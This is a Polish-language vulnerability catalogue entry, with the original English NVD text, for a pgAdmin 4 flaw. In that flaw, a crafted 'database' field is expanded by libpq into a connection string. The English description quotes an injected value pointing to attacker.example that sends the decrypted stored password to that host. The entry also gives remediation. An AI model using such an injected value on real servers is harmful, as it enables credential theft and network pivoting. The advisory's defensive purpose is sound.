Katalog CVE

CVE-2026-86862

ŚrednieCVSS 6.5
Opublikowano: Zaktualizowano: Przetłumaczono: NVD NIST

Streszczenie

Podatność w pgAdmin 4 dotyczy narzędzi Restore i Maintenance, które przekazują pole 'database' bezpośrednio jako argument --dbname do pg_restore i psql. Wartość zawierająca znak równości jest rozwijana przez libpq do pełnego ciągu połączenia, co pozwala na przekierowanie połączenia na serwer wybrany przez atakującego. W wyniku tego może dojść do ujawnienia odszyfrowanego hasła bazy danych oraz możliwości nawiązywania połączeń wychodzących z hosta pgAdmin do dowolnych adresów sieciowych.

Ocena ryzyka

Organizacja narażona jest na kradzież poświadczeń bazy danych (przechowywane hasło jest przekazywane w zmiennej środowiskowej PGPASSWORD) oraz na wykorzystanie serwera pgAdmin jako punktu wyjścia do ataków na inne hosty. Podatność może być wykorzystana przez każdego uwierzytelnionego użytkownika z uprawnieniami tools_restore lub tools_maintenance, co domyślnie przysługuje roli User.

Rekomendacja

Natychmiast zaktualizuj pgAdmin 4 do wersji 9.18 lub nowszej, która zawiera poprawkę polegającą na użyciu zmiennej środowiskowej PGDATABASE zamiast argumentu --dbname. Jeśli aktualizacja nie jest możliwa, ogranicz przydział uprawnień tools_restore i tools_maintenance tylko do zaufanych użytkowników.

Inne podatności w pgAdmin 4

Zobacz wszystkie
Oryginalny opis (angielski, źródło NVD)

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Dane podatności pochodzą z NVD (NIST) · CISA KEV · EPSS